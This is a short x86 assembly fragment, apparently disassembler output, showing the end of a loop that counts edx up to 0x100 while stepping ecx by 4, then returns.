inc edx
add ecx, 4
cmp edx, 0x100
jl 0x405e45
ret